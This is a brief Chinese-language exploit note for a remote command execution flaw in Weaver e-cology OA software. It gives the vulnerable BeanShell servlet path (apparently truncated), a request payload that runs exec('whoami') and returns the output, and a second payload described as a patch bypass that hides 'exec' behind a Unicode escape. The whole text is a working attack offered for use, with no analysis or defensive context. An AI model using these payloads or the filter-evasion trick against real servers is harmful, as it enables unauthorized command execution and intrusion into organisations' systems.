泛微 e-cology OA 新漏洞EXP

漏洞路径：/weaver/bsh.servlet.BshServle

bsh.script=exec("whoami");&bsh.servlet.captureOutErr=true& bsh.servlet.output=raw&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw

补丁绕过：

bsh.script=ex\u0065c("whoami");&bsh.servlet.captureOutErr=true& bsh.servlet.output=raw&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw